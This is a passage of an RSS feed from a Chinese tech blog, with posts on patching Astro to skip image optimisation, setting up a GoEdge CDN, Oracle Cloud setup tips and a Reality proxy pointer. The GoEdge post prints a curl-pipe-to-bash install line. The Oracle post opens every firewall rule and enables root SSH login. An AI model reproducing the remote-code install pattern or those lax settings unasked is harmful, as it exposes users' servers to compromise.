</content:encoded></item><item><title>禁用Astro跟弱智一般的静态构建图像优化</title><link>https://blog.acofork.com/posts/disable-astro-generating-optimized-images/</link><guid isPermaLink="true">https://blog.acofork.com/posts/disable-astro-generating-optimized-images/</guid><description>折腾了整整一天,终于解决了这傻逼Astro对于静态构建自作聪明的图片优化了,这不仅能提高构建速度,还可以减少无谓的CPU资源消耗,更环保,也更符合Unix哲学</description><pubDate>Wed, 10 Sep 2025 06:16:30 GMT</pubDate><content:encoded><blockquote>
|
||
<p>视频: <a href="https://www.bilibili.com/video/BV12VH2z1EDb">禁用Astro跟弱智一般的静态构建图像优化_哔哩哔哩_bilibili</a></p>
|
||
</blockquote>
|
||
<h1>为什么要禁用图片优化?</h1>
|
||
<p>下图是一个默认的Astro静态构建,也就是 <code>astro build</code> 的输出,输出中记录了每张图片是如何被Astro “优化” 的。我们不难发现问题所在:</p>
|
||
<p>压缩效果微乎其微,甚至有反向压缩。大部分图片仅压缩了几kb,但是为此需要花费 <strong>100-1000ms</strong> 不等,甚至第12行出现了 <code>before: 26kb, after: 28kb</code> 这样的反向压缩</p>
|
||
<p><em>为什么要浪费这么多的时间来进行±10kb左右的图片压缩呢?</em></p>
|
||
<p><img src="https://blog.acofork.com/_astro/2025-09-10-06-21-20-26ca667ff5c7024c12d7a8254f483b27.BB6P9OBa.png" alt="" /></p>
|
||
<h1>如何让Astro不”优化“图片?</h1>
|
||
<blockquote>
|
||
<p><a href="https://docs.astro.build/zh-cn/guides/images/">图像 | Docs</a></p>
|
||
</blockquote>
|
||
<p>查阅 Astro 文档可知</p>
|
||
<p>会被优化的情况:</p>
|
||
<ul>
|
||
<li>
|
||
<p>非 <code>/public</code> 目录下的图片</p>
|
||
</li>
|
||
<li>
|
||
<p>使用 <code>&lt;Image /&gt;</code> 等Astro图片组件</p>
|
||
</li>
|
||
<li>
|
||
<p>任何MarkDown内的图片,除非你不走Astro内部的 MarkDown -&gt; HTML 转换</p>
|
||
</li>
|
||
</ul>
|
||
<p>不难发现,我们似乎已经找到了一个折中的解决方案: <strong>将图片放置到 /public 目录</strong></p>
|
||
<h1>尝试将图片放置到 /public 目录(不完美)</h1>
|
||
<p>这会遇到一个经典问题,这是我询问 OpenAI ChatGPT 的原话</p>
|
||
<p><em>我遇到了一个两难的问题 我使用Astro 我的文章在./src/content/posts/xxx.md 我的图片之前在./src/content/assets/images/xxx.png 由于我不想要Astro默认的图片优化,因为构建太慢了,于是我将图片放到了./public/assets/images/xxx.png 然后我将MarkDown引用的图片从 ../assets/images/xxx.png 改为了 ./public/assets/images/xxx.png 但是现在新的问题出现了,我的MarkText(一个MarkDown编辑器)去寻找了 ./src/content/posts/public/assets/images/xxx.png 导致我在编辑器中看不到任何图片 有没有什么好的解决方案?</em></p>
|
||
<p>如果反其道而行之,使用类似 <code>../../../assets/images/xxx.png</code> 会导致部分组件无法获得真实图片,导致 <code>astro build</code> 直接报错退出,比如每篇文章开头的 YAML 元数据中的 <code>image</code> 字段</p>
|
||
<p><strong>结论:</strong> 该方案并不完美。要不无法即写即看,要不构建失败</p>
|
||
<h1>尝试使用Astro官方提供的配置禁用图片优化(失败)</h1>
|
||
<p>遇到Astro上的问题,首先就应该查询官方文档了解是否已有解决方案。通过文档查询,我找到了 <a href="https://docs.astro.build/zh-cn/guides/images/#%E9%85%8D%E7%BD%AE-no-op-%E9%80%8F%E4%BC%A0%E6%9C%8D%E5%8A%A1">图像 | Docs</a> 中的 <strong>配置 no-op 透传服务</strong> ,尝试配置,但是无用,不管是本地运行构建或Cloudflare Worker云端构建,仍然会触发 <strong>generating optimized images</strong> 步骤</p>
|
||
<p><em>如果您了解如何在Astro的配置层面直接禁用图片优化,请联系我!我很乐意与您交流!</em></p>
|
||
<p><img src="https://blog.acofork.com/_astro/2025-09-10-06-27-46-image.CgeHpQkh.png" alt="" /></p>
|
||
<h1>尝试直接更改Astro源码来禁用图片优化(成功)</h1>
|
||
<p>研究到这,大半天已经过去了,我已经没有精力去研究怎么 <strong>合法</strong> 禁用Astro的图片优化了,不如单刀直入,直接改源码,使用 <strong>非法操作</strong> 吧</p>
|
||
<p>大致步骤,直接改Astro包的源码,然后用 <code>pnpm patch</code> 为它打个补丁,下面是完整、可用的 <code>astro.patch</code> 。全局禁用图片优化</p>
|
||
<pre><code>diff --git a/dist/assets/utils/transformToPath.js b/dist/assets/utils/transformToPath.js
|
||
index cca8548dec42090b0621d1f21c86f503d5bba1be..8b0a3cfcea73abc4d63592709bb9ba2b2f83989a 100644
|
||
--- a/dist/assets/utils/transformToPath.js
|
||
+++ b/dist/assets/utils/transformToPath.js
|
||
@@ -13,7 +13,9 @@ function propsToFilename(filePath, transform, hash) {
|
||
}
|
||
const prefixDirname = isESMImportedImage(transform.src) ? dirname(filePath) : "";
|
||
let outputExt = transform.format ? `.${transform.format}` : ext;
|
||
- return decodeURIComponent(`${prefixDirname}/${filename}_${hash}${outputExt}`);
|
||
+
|
||
+ // Force disable image optimization - return original path without hash and format conversion
|
||
+ return decodeURIComponent(`${prefixDirname}/${filename}${ext}`);
|
||
}
|
||
function hashTransform(transform, imageService, propertiesToHash) {
|
||
const hashFields = propertiesToHash.reduce(
|
||
diff --git a/dist/core/build/generate.js b/dist/core/build/generate.js
|
||
index 3144f4c058b161b9e6eb3c8d891b743b34783653..0ba275b320204e154307c6aff75452e9dcb2300d 100644
|
||
--- a/dist/core/build/generate.js
|
||
+++ b/dist/core/build/generate.js
|
||
@@ -91,7 +91,8 @@ ${bgGreen(black(` ${verb} static routes `))}`);
|
||
`)
|
||
);
|
||
const staticImageList = getStaticImageList();
|
||
- if (staticImageList.size) {
|
||
+ // Force disable image optimization - hardcoded
|
||
+ if (false) {
|
||
logger.info("SKIP_FORMAT", `${bgGreen(black(` generating optimized images `))}`);
|
||
const totalCount = Array.from(staticImageList.values()).map((x) =&gt; x.transforms.size).reduce((a, b) =&gt; a + b, 0);
|
||
const cpuCount = os.cpus().length;
|
||
</code></pre>
|
||
<p>下文为我让OpenAI ChatGPT 5解释的已经禁用图片优化的补丁(<code>astro.patch</code>)具体做了什么</p>
|
||
<h3>修改点 1:<code>dist/assets/utils/transformToPath.js</code></h3>
|
||
<pre><code>- return decodeURIComponent(`${prefixDirname}/${filename}_${hash}${outputExt}`);
|
||
+
|
||
+ // Force disable image optimization - return original path without hash and format conversion
|
||
+ return decodeURIComponent(`${prefixDirname}/${filename}${ext}`);
|
||
</code></pre>
|
||
<h4>原逻辑</h4>
|
||
<ul>
|
||
<li>
|
||
<p>原本的返回路径是:</p>
|
||
<pre><code>{prefixDirname}/{filename}_{hash}.{format or ext}
|
||
</code></pre>
|
||
<ul>
|
||
<li>
|
||
<p><code>prefixDirname</code>:如果图片是通过 ESM import 进来的,会带上所在目录,否则为空。</p>
|
||
</li>
|
||
<li>
|
||
<p><code>filename</code>:文件名。</p>
|
||
</li>
|
||
<li>
|
||
<p><code>hash</code>:基于图片参数生成的 hash,用于区分不同尺寸/格式。</p>
|
||
</li>
|
||
<li>
|
||
<p><code>outputExt</code>:可能是 <code>webp</code>、<code>avif</code> 等格式。</p>
|
||
</li>
|
||
</ul>
|
||
</li>
|
||
</ul>
|
||
<p>👉 这样 Astro 会给图片文件生成带 hash 的路径,并且可能修改格式。</p>
|
||
<h4>修改后逻辑</h4>
|
||
<ul>
|
||
<li>返回路径改成了:</li>
|
||
</ul>
|
||
<pre><code>{prefixDirname}/{filename}{ext}
|
||
</code></pre>
|
||
<ul>
|
||
<li>直接使用原始扩展名,不带 hash,也不做格式转换。</li>
|
||
</ul>
|
||
<p>✅ 作用:完全禁用图片优化的文件名规则,保留原始文件路径。</p>
|
||
<hr />
|
||
<h3>修改点 2:<code>dist/core/build/generate.js</code></h3>
|
||
<pre><code>- if (staticImageList.size) {
|
||
+ // Force disable image optimization - hardcoded
|
||
+ if (false) {
|
||
</code></pre>
|
||
<h4>原逻辑</h4>
|
||
<ul>
|
||
<li>
|
||
<p><code>staticImageList</code> 存放了 Astro build 时需要优化的所有静态图片。</p>
|
||
</li>
|
||
<li>
|
||
<p>如果有图片,Astro 会启动优化逻辑:</p>
|
||
<ul>
|
||
<li>
|
||
<p>打印日志 <code>"generating optimized images"</code></p>
|
||
</li>
|
||
<li>
|
||
<p>遍历 <code>staticImageList</code>,并调用 image service 去生成不同尺寸和格式。</p>
|
||
</li>
|
||
</ul>
|
||
</li>
|
||
</ul>
|
||
<h4>修改后逻辑</h4>
|
||
<ul>
|
||
<li>
|
||
<p>把 <code>if (staticImageList.size)</code> 改成了 <code>if (false)</code>。</p>
|
||
</li>
|
||
<li>
|
||
<p>这意味着 <strong>Astro 永远不会进入优化图片的流程</strong>。</p>
|
||
</li>
|
||
</ul>
|
||
<p>✅ 作用:强制跳过所有图片优化步骤。</p>
|
||
<hr />
|
||
<h3>总结</h3>
|
||
<p>你的这个 patch 做了两件事:</p>
|
||
<ol>
|
||
<li>
|
||
<p><strong>绕过文件名 hash 和格式转换</strong> → 保证生成的图片路径就是原始路径。</p>
|
||
</li>
|
||
<li>
|
||
<p><strong>完全禁用构建时图片优化</strong> → Astro build 时不再生成任何衍生格式或多尺寸图片。</p>
|
||
</li>
|
||
</ol>
|
||
<p>等价于 <strong>彻底关闭 Astro 的图片优化功能</strong>,构建出来的就是你原始的图片。</p>
|
||
<h1>最终效果</h1>
|
||
<p>任何情况下使用 <code>astro build</code> 都会跳过图片优化,Cloudflare Worker的构建时间从 3分钟下降到2分钟</p>
|
||
<p><img src="https://blog.acofork.com/_astro/2025-09-10-06-46-49-image.eCV2kjA0.png" alt="" /></p>
|
||
<p><img src="https://blog.acofork.com/_astro/2025-09-10-06-47-01-image.BaWkYnVW.png" alt="" /></p>
|
||
<p>构建后的页面不再为全局webp,透传原始文件名、扩展名。但仍然保留了 <code>/_astro</code> 路径,依旧支持相对路径粘贴图片</p>
|
||
<p><img src="https://blog.acofork.com/_astro/d836b41fd85611972c2086a7064705bdb1b4ff7c.COA0L-I_.png" alt="" /></p>
|
||
<p><img src="https://blog.acofork.com/_astro/ff1314b1ab7d60bd9a49d6499db22cde23fb9f60.BR6J7s9E.png" alt="" /></p>
|
||
</content:encoded></item><item><title>GoEdge自建CDN系统踩坑记录</title><link>https://blog.acofork.com/posts/goedge/</link><guid isPermaLink="true">https://blog.acofork.com/posts/goedge/</guid><description>卧槽,一不小心搞到了3台免费VPS,可是不用容易被回收,这可咋办啊!欸?不如让他们都干点活吧!</description><pubDate>Tue, 09 Sep 2025 06:28:06 GMT</pubDate><content:encoded><h1>安装GoEdge</h1>
|
||
<blockquote>
|
||
<p><a href="https://goedge.cloud/docs/Admin/install-script.md">使用脚本快速安装GoEdge管理系统 - 文档 - GoEdge CDN | 自建CDN</a></p>
|
||
</blockquote>
|
||
<p>一行脚本安装</p>
|
||
<pre><code>curl -s https://goedge.cloud/install.sh | bash
|
||
</code></pre>
|
||
<h1>卸载GoEdge</h1>
|
||
<p>查看监听端口为 <strong>7788</strong> 的程序PID</p>
|
||
<pre><code>root@AcoFork-NAS:~/oci# apt install lsof &amp;&amp; lsof -i :7788
|
||
Reading package lists... Done
|
||
Building dependency tree... Done
|
||
Reading state information... Done
|
||
lsof is already the newest version (4.95.0-1).
|
||
0 upgraded, 0 newly installed, 0 to remove and 254 not upgraded.
|
||
COMMAND PID USER FD TYPE DEVICE SIZE/OFF NODE NAME
|
||
edge-admi 1733510 root 7u IPv6 8663743 0t0 TCP *:7788 (LISTEN)
|
||
edge-admi 1733510 root 9u IPv6 8746827 0t0 TCP 10.147.17.1:7788-&gt;10.147.17.147:39580 (ESTABLISHED)
|
||
edge-admi 1733510 root 10u IPv6 8828980 0t0 TCP 10.147.17.1:7788-&gt;10.147.17.147:45730 (ESTABLISHED)
|
||
root@AcoFork-NAS:~/oci#
|
||
</code></pre>
|
||
<p>用PID找程序路径</p>
|
||
<pre><code>root@AcoFork-NAS:~/oci# readlink -f /proc/1733510/exe
|
||
/usr/local/goedge/edge-admin/bin/edge-admin
|
||
root@AcoFork-NAS:~/oci#
|
||
</code></pre>
|
||
<p>这样你就成功找到了 <strong>EdgeAdmin安装目录</strong> : <code>/usr/local/goedge/edge-admin/</code></p>
|
||
<p>接着前往 <a href="https://goedge.cloud/docs/Admin/Uninstall.md">卸载管理平台 - 文档 - GoEdge CDN | 自建CDN</a> 按照教程一步步卸载即可</p>
|
||
<h1>API节点的配置</h1>
|
||
<p>安装阶段会让你配置API节点,会让你配置端口和公网</p>
|
||
<p>你需要保证端口未占用,默认端口 <strong>8001</strong> (已知飞牛OS会占用)。如果占用了就换一个</p>
|
||
<p>你需要保证 <strong>公网</strong> 可以被你之后添加的节点 <strong>主动访问</strong> 到(我的做法是使用IPv6公网,并保证之后添加的节点都有IPv6地址)</p>
|
||
<h1>添加DNS服务商</h1>
|
||
<p>首先前往</p>
|
||
<p><img src="https://blog.acofork.com/_astro/2025-09-09-07-00-37-image.BoAM8Qhx.png" alt="" /></p>
|
||
<p>添加你的DNS账号。<strong>hw</strong> 用来做CDN域名的自治解析,<strong>cf</strong> 用来后续签发SSL</p>
|
||
<p><img src="https://blog.acofork.com/_astro/2025-09-09-06-59-59-image.CtHozoxK.png" alt="" /></p>
|
||
<p>点进去,确保能获取到域名</p>
|
||
<p><img src="https://blog.acofork.com/_astro/2025-09-09-06-44-54-image.C94_zomu.png" alt="" /></p>
|
||
<h1>设置CDN域名</h1>
|
||
<p>前往</p>
|
||
<p><img src="https://blog.acofork.com/_astro/2025-09-09-06-45-52-image.BuH_T2OH.png" alt="" /></p>
|
||
<p>设置好DNS子域名</p>
|
||
<p><img src="https://blog.acofork.com/_astro/2025-09-09-06-46-12-image.CR29iRzB.png" alt="" /></p>
|
||
<h1>添加节点</h1>
|
||
<p>前往</p>
|
||
<p><img src="https://blog.acofork.com/_astro/2025-09-09-06-47-14-image.CKjfOQ3x.png" alt="" /></p>
|
||
<p><img src="https://blog.acofork.com/_astro/2025-09-09-06-47-30-image.DCW4956c.png" alt="" /></p>
|
||
<p>然后填写节点IP+SSH认证方式(密码/密钥),之后goedge会主动通过SSH连接节点安装服务</p>
|
||
<h1>配置节点的DNS IP</h1>
|
||
<p>前往</p>
|
||
<p><img src="https://blog.acofork.com/_astro/2025-09-09-06-49-35-image.GZw-NBmQ.png" alt="" /></p>
|
||
<p>会让你填写每个节点的DNS IP,填写节点的 <strong>公网IP</strong> 即可</p>
|
||
<h1>签发SSL</h1>
|
||
<p>前往</p>
|
||
<p><img src="https://blog.acofork.com/_astro/2025-09-09-06-50-43-image.jDf4Y8NK.png" alt="" /></p>
|
||
<p><img src="https://blog.acofork.com/_astro/2025-09-09-06-50-50-image.DDJ5JPh8.png" alt="" /></p>
|
||
<p><img src="https://blog.acofork.com/_astro/2025-09-09-06-50-57-image.BS30FJ3Y.png" alt="" /></p>
|
||
<p><img src="https://blog.acofork.com/_astro/2025-09-09-06-51-10-image.Djc9EQCe.png" alt="" /></p>
|
||
<p>随便写个邮箱</p>
|
||
<p><img src="https://blog.acofork.com/_astro/2025-09-09-06-51-23-image.Faijrsfd.png" alt="" /></p>
|
||
<p>写域名(支持泛域名)</p>
|
||
<p><img src="https://blog.acofork.com/_astro/2025-09-09-06-51-52-image.B0qu8lKu.png" alt="" /></p>
|
||
<p>稍等片刻就签发成功</p>
|
||
<p><img src="https://blog.acofork.com/_astro/2025-09-09-06-52-20-image.rrTovckl.png" alt="" /></p>
|
||
<h1>禁止未绑定域名访问/禁止IP直接访问</h1>
|
||
<p>字面意思,如图设置</p>
|
||
<p><img src="https://blog.acofork.com/_astro/2025-09-09-06-53-52-image.DQv03z48.png" alt="" /></p>
|
||
<h1>创建网站</h1>
|
||
<p>前往</p>
|
||
<p><img src="https://blog.acofork.com/_astro/2025-09-09-06-54-16-image.BBJI6Qg3.png" alt="" /></p>
|
||
<p>接下来你们自己研究吧 我要睡了</p>
|
||
</content:encoded></item><item><title>Reality协议的代理服务端搭建教程</title><link>https://blog.acofork.com/posts/reality/</link><guid isPermaLink="true">https://blog.acofork.com/posts/reality/</guid><description>Reality协议是目前最抗检测的一种代理协议</description><pubDate>Tue, 09 Sep 2025 00:00:00 GMT</pubDate><content:encoded><h1>正式开始</h1>
|
||
<blockquote>
|
||
<p>源码: <a href="https://github.com/afoim/one-times-reality">afoim/one-times-reality: 一行命令帮你装好reality</a></p>
|
||
</blockquote>
|
||
<p>自己看README部署</p>
|
||
</content:encoded></item><item><title>Oracle(甲骨文云)踩坑记录</title><link>https://blog.acofork.com/posts/oci/</link><guid isPermaLink="true">https://blog.acofork.com/posts/oci/</guid><description>在钞能力的帮助下也是成功薅到了一个甲骨文账号,上手把玩发现坑点挺多的,遂记录</description><pubDate>Mon, 08 Sep 2025 00:01:25 GMT</pubDate><content:encoded><h1>区域选择</h1>
|
||
<p>注册的时候会让你选择一个账户主区域,选择后 <strong>不可更改</strong> ,我选择的是 <strong>Japan East (Tokyo)</strong> 。由于甲骨文的arm免费机是需要抢的,你选择的区域越热门,能抢到arm机子的概率就越低</p>
|
||
<h1>安全性</h1>
|
||
<blockquote>
|
||
<p>https://cloud.oracle.com/identity/domains/my-profile/security</p>
|
||
</blockquote>
|
||
<p>建议启用 <strong>两步验证</strong> 使用你的移动设备下载一个甲骨文App 然后扫码即可(实际上就是一个联网的TOTP)</p>
|
||
<p><img src="https://blog.acofork.com/_astro/2025-09-08-00-07-32-image.CdwktpJE.png" alt="" /></p>
|
||
<p>如果需要更改密码,它在这里</p>
|
||
<p><img src="https://blog.acofork.com/_astro/2025-09-08-00-08-48-image.BR7Qdaub.png" alt="" /></p>
|
||
<h1>没有Debian系统?</h1>
|
||
<p>如果你前往 https://cloud.oracle.com/compute/instances/create 尝试创建实例。会发现没有 <strong>Debian</strong> 映像 。我们可以通过最下面 <strong>我的映像</strong> 来上传自己的自定义映像,详细步骤往下看</p>
|
||
<p><img src="https://blog.acofork.com/_astro/2025-09-08-00-12-08-image.qXuoLpgQ.png" alt="" /></p>
|
||
<p>写在前面,如果你需要往甲骨文上传自定义映像,你需要先将自定义映像上传到你 <strong>甲骨文账户下的对象存储</strong> ,随便找一个对象存储上传是不行的!!!</p>
|
||
<p>首先下载适用于云的Debian映像,进入 <a href="https://www.debian.org/distrib">下载 Debian</a> ,找到 <strong>使用 Debian 云镜像</strong> 分别下载</p>
|
||
<ul>
|
||
<li>64 位 AMD/Intel (<a href="https://cloud.debian.org/images/cloud/trixie/latest/debian-13-generic-amd64.qcow2">qcow2</a>, <a href="https://cloud.debian.org/images/cloud/trixie/latest/debian-13-generic-amd64.raw">raw</a>)</li>
|
||
<li>64 位 ARM (<a href="https://cloud.debian.org/images/cloud/trixie/latest/debian-13-generic-arm64.qcow2">qcow2</a>, <a href="https://cloud.debian.org/images/cloud/trixie/latest/debian-13-generic-arm64.raw">raw</a>)</li>
|
||
</ul>
|
||
<p><img src="https://blog.acofork.com/_astro/2025-09-08-00-17-19-image.BAs9BIH_.png" alt="" /></p>
|
||
<p>你会得到</p>
|
||
<p><img src="https://blog.acofork.com/_astro/2025-09-08-00-17-50-image.D7aYLr3W.png" alt="" /></p>
|
||
<p>前往 https://cloud.oracle.com/object-storage/buckets 创建一个新存储桶,点击编辑可见性,改为 <strong>公共</strong></p>
|
||
<p><img src="https://blog.acofork.com/_astro/2025-09-08-00-18-34-image.CjDC1GGy.png" alt="" /></p>
|
||
<p><img src="https://blog.acofork.com/_astro/2025-09-08-00-19-23-image.8mMDtzRc.png" alt="" /></p>
|
||
<p>然后上载刚刚下载的映像</p>
|
||
<p><img src="https://blog.acofork.com/_astro/2025-09-08-00-19-51-image.ZTdO0VQX.png" alt="" /></p>
|
||
<p>前往 https://cloud.oracle.com/compute/images 点击 <strong>导入映像</strong> 按需填写</p>
|
||
<p><img src="https://blog.acofork.com/_astro/2025-09-08-00-21-06-image.B8w0zw70.png" alt="" /></p>
|
||
<p>映像类型和启动模式如图填写(性能最大化)</p>
|
||
<p><img src="https://blog.acofork.com/_astro/2025-09-08-00-21-30-image.k_wqLZdZ.png" alt="" /></p>
|
||
<p>验收无误后,点击右下角的 <strong>导入映像</strong> ,大约需要 <strong>20min</strong> ,状态将变为 <strong>可用</strong></p>
|
||
<p><img src="https://blog.acofork.com/_astro/2025-09-08-00-22-25-image.B4XhZNIx.png" alt="" /></p>
|
||
<p>点击其中一个映像,进入详情页面,针对于 <strong>arm映像</strong> 我们需要手动调节 <strong>兼容的配置</strong>。右上角点击 <strong>操作 - 编辑详细信息</strong></p>
|
||
<p><img src="https://blog.acofork.com/_astro/2025-09-08-00-24-48-image.D3qhDmnk.png" alt="" /></p>
|
||
<p>全部打勾,保存更改</p>
|
||
<p><em>仍然需要注意,创建实例的时候请看准是x86还是arm实例,x86实例无法使用arm映像,反之亦然</em></p>
|
||
<p><img src="https://blog.acofork.com/_astro/2025-09-08-00-25-10-image.BA9q0UKN.png" alt="" /></p>
|
||
<p>然后点击右上角<strong>创建实例</strong>,即可使用自定义映像创建实例</p>
|
||
<p><img src="https://blog.acofork.com/_astro/2025-09-08-00-23-21-image.D7znRCTN.png" alt="" /></p>
|
||
<h1>创建VCN(网络)</h1>
|
||
<p>前往 https://cloud.oracle.com/networking/vcns 点击 <strong>创建VCN</strong> 改个名称然后一路下一步即可</p>
|
||
<p><img src="https://blog.acofork.com/_astro/2025-09-08-00-27-25-image.BZTIY-Ke.png" alt="" /></p>
|
||
<p>成功创建一个如图的网络</p>
|
||
<p><img src="https://blog.acofork.com/_astro/2025-09-08-00-27-42-image.DRAh_NxM.png" alt="" /></p>
|
||
<h1>为VCN附加IPv6前缀</h1>
|
||
<p>前往 https://cloud.oracle.com/networking/vcns</p>
|
||
<p>进入我们刚刚创建的VCN
|
||
<img src="https://blog.acofork.com/_astro/2025-09-09-06-18-57-image.DLsosksZ.png" alt="" /></p>
|
||
<p>导航栏选择 <strong>子网</strong> - <strong>公共子网</strong></p>
|
||
<p><img src="https://blog.acofork.com/_astro/2025-09-09-06-19-57-image.UtvwvmpE.png" alt="" /></p>
|
||
<p>在新页面的导航栏点击 <strong>IP管理</strong></p>
|
||
<p><img src="https://blog.acofork.com/_astro/2025-09-09-06-20-29-image.WmKw8odv.png" alt="" /></p>
|
||
<p>往下滚动,添加 <strong>IPv6前缀</strong></p>
|
||
<p><img src="https://blog.acofork.com/_astro/2025-09-09-06-20-50-image.DbDxGVNk.png" alt="" /></p>
|
||
<h1>创建实例</h1>
|
||
<p>前往 https://cloud.oracle.com/compute/instances 点击 <strong>创建实例</strong></p>
|
||
<p>在这里可以更改映像为自定义映像,即我们刚刚上传的Debian映像</p>
|
||
<p><img src="https://blog.acofork.com/_astro/2025-09-08-00-28-44-image.DrOOMxJF.png" alt="" /></p>
|
||
<p>在这里可以更改 <strong>架构和配置</strong> 。永久免费套餐为</p>
|
||
<ul>
|
||
<li>
|
||
<p>VM.Standard.E2.1.Micro:<strong>两个</strong> 1c1g的x86 实例,<strong>不可合并为2c2g使用</strong></p>
|
||
</li>
|
||
<li>
|
||
<p>VM.Standard.A1.Flex:共 4c24g的arm64 实例,<strong>可以随意拆分</strong></p>
|
||
</li>
|
||
</ul>
|
||
<p><strong>重要事项</strong></p>
|
||
<p><strong>闲置计算实例的回收</strong></p>
|
||
<p>Oracle 可能会回收闲置的“永久免费”计算实例。如果在 <strong>7 天周期内</strong> 同时满足以下条件,则虚拟机和裸金属计算实例会被视为闲置:</p>
|
||
<ul>
|
||
<li>
|
||
<p><strong>CPU 使用率</strong>(95 百分位数)低于 20%</p>
|
||
</li>
|
||
<li>
|
||
<p><strong>网络使用率</strong>低于 20%</p>
|
||
</li>
|
||
<li>
|
||
<p><strong>内存使用率</strong>低于 20%(仅适用于 A1 规格)</p>
|
||
</li>
|
||
</ul>
|
||
<p><img src="https://blog.acofork.com/_astro/2025-09-08-00-31-25-image.3IyPQMu4.png" alt="" /></p>
|
||
<p>在这里可以选择是否附加 <strong>IPv4</strong> 和 <strong>IPv6</strong> 地址,其中, <strong>IPv6</strong> 地址的附加功能取决于是否在VCN附加了 <strong>IPv6前缀</strong></p>
|
||
<p><img src="https://blog.acofork.com/_astro/2025-09-09-06-23-50-image.NMa4JMNU.png" alt="" /></p>
|
||
<p>在这里可以更改IO配置,直接拉满即可</p>
|
||
<p><img src="https://blog.acofork.com/_astro/2025-09-08-03-28-29-image.Ck8Ql9sn.png" alt="" /></p>
|
||
<p>在这里可以更改SSH相关配置</p>
|
||
<p><img src="https://blog.acofork.com/_astro/2025-09-08-00-31-09-image.QuHXUvSF.png" alt="" /></p>
|
||
<p>一路下一步,验收无误后点击 <strong>创建</strong></p>
|
||
<h1>更改防火墙</h1>
|
||
<blockquote>
|
||
<p>我直接改为全允许,我更喜欢在Linux服务器上配置 ufw 来实现防火墙</p>
|
||
</blockquote>
|
||
<p>前往 https://cloud.oracle.com/networking/vcns ,进入你刚刚创建的VCN,导航栏点击 <strong>安全</strong> 找到这个</p>
|
||
<p><img src="https://blog.acofork.com/_astro/2025-09-08-00-37-58-image.BF8GVdcG.png" alt="" /></p>
|
||
<p>导航栏继续找到 <strong>安全规则</strong> 我直接全放行</p>
|
||
<p><img src="https://blog.acofork.com/_astro/2025-09-08-00-38-25-image.Xgv5amRe.png" alt="" /></p>
|
||
<h1>使用SSH连接实例</h1>
|
||
<p>前往 https://cloud.oracle.com/compute/instances 可以看到 <strong>公共IP</strong> ,携带你的 <strong>SSH私钥</strong> 通过 <strong>22 端口</strong> 连接服务器即可</p>
|
||
<p><img src="https://blog.acofork.com/_astro/2025-09-08-00-39-59-image.C06D-CZ2.png" alt="" /></p>
|
||
<h1>改root登录</h1>
|
||
<p>如果你使用root直接登录,会提示</p>
|
||
<p><img src="https://blog.acofork.com/_astro/2025-09-08-00-41-53-image.C7B0t-4Z.png" alt="" /></p>
|
||
<p>意为: <strong>请使用名为 <code>debian</code> 的用户登录而不是 <code>root</code> 用户</strong></p>
|
||
<p>那我们就听他的,想把登录名改为 <strong>debian</strong></p>
|
||
<p>再次尝试,成功登录了</p>
|
||
<p><img src="https://blog.acofork.com/_astro/2025-09-08-00-43-13-image.6A-6bjxA.png" alt="" /></p>
|
||
<p>首先提权为 <strong>root</strong></p>
|
||
<pre><code>sudo -i
|
||
</code></pre>
|
||
<p>接着编辑root用户的ssh公钥文件,以允许直接使用root登录</p>
|
||
<pre><code>nano /root/.ssh/authorized_keys
|
||
</code></pre>
|
||
<p><strong>Ctrl+K</strong> 删除第一行的警告,并且重新写入你的SSH公钥</p>
|
||
<p><strong>Ctrl+X</strong> 保存并退出,然后重启 <strong>sshd</strong></p>
|
||
<pre><code>systemctl restart sshd
|
||
</code></pre>
|
||
<p>重新使用 <strong>root</strong> 登录,成功</p>
|
||
<p><img src="https://blog.acofork.com/_astro/2025-09-08-00-46-59-image.Ba0xxygq.png" alt="" /></p>
|
||
<h1>自动脚本抢arm机</h1>
|
||
<p>如果你在创建实例的时候选择arm,并且最后创建的时候提示</p>
|
||
<p><strong>可用性域 VM.Standard.A1.Flex 中配置 AD-1 的容量不足。请在其他可用性域中创建实例,或稍后重试。如果指定了容错域,请尝试在不指定容错域的情况下创建实例。如果这样不起作用,请稍后重试。<a href="https://www.oracle.com/cloud/free/faq.html">了解有关主机容量的更多信息。</a></strong></p>
|
||
<p>字面意思,我们可以依靠一个自动脚本来无限重试</p>
|
||
<p>前往 https://cloud.oracle.com/identity/domains/my-profile/auth-tokens 点击 <strong>添加API密钥</strong> 并 <strong>下载私有密钥(只能下一次)</strong> ,然后会弹出 <strong>配置文件预览</strong> ,复制它,后面要用</p>
|
||
<p><img src="https://blog.acofork.com/_astro/2025-09-08-01-00-00-image.C_csm1qG.png" alt="" /></p>
|
||
<p>克隆仓库 <a href="https://github.com/chacuavip10/oci_auto">chacuavip10/oci_auto</a></p>
|
||
<p>编辑 <code>config</code> 内的内容,将内容清空,粘贴上一步的 <strong>配置文件预览</strong> 的内容。但是确保最后一行为</p>
|
||
<pre><code>key_file=oci_private_key.pem
|
||
</code></pre>
|
||
<p>前往 https://cloud.oracle.com/compute/instances/create 再次尝试创建一个arm机子,并且F12抓包,查看该包的详情</p>
|
||
<p><img src="https://blog.acofork.com/_astro/2025-09-08-01-03-04-image.DB124lTZ.png" alt="" /></p>
|
||
<p>对号入座填写 <code>oci_auto.py</code> 内的内容</p>
|
||
<p><img src="https://blog.acofork.com/_astro/2025-09-08-01-08-08-image.D6T_ymbc.png" alt="" /></p>
|
||
<p>安装依赖</p>
|
||
<pre><code>apt install python3
|
||
apt install pip
|
||
pip install oci requests
|
||
</code></pre>
|
||
<p>运行</p>
|
||
<pre><code>python3 oci_auto.py
|
||
</code></pre>
|
||
<p>即可自动抢机子,可能几个月后,你的账户下就会多一台arm了(?</p>
|
||
<p><img src="https://blog.acofork.com/_astro/2025-09-08-01-11-54-image.DHAHDe5H.png" alt="" /></p>
|
||
</content:encoded></item><item><title>公开架构,我的二次元随机图API是怎么做的</title><link>https://blog.acofork.com/posts/acg-randompic-api/</link><guid isPermaLink="true">https://blog.acofork.com/posts/acg-randompic-api/</guid><description>发现很多小伙伴也想搭建一个自己的随机图API,这里我就公开一下我的架构,打磨2年了,供大家参考~</description><pubDate>Sat, 06 Sep 2025 02:22:00 GMT</pubDate><content:encoded><h1>API端点</h1>
|
||
<p><s>门户: https://pic.072103.xyz</s></p>
|
||
<p><s>门户里面的API端点: https://hpic.072103.xyz https://vpic.072103.xyz (CF Worker)</s></p>
|
||
<p>博客用的API端点: https://eopfapi.acofork.com/pic?img=ua (EdgeOne Pages Functions)</p>
|
||
<h1>新版实现</h1>
|
||
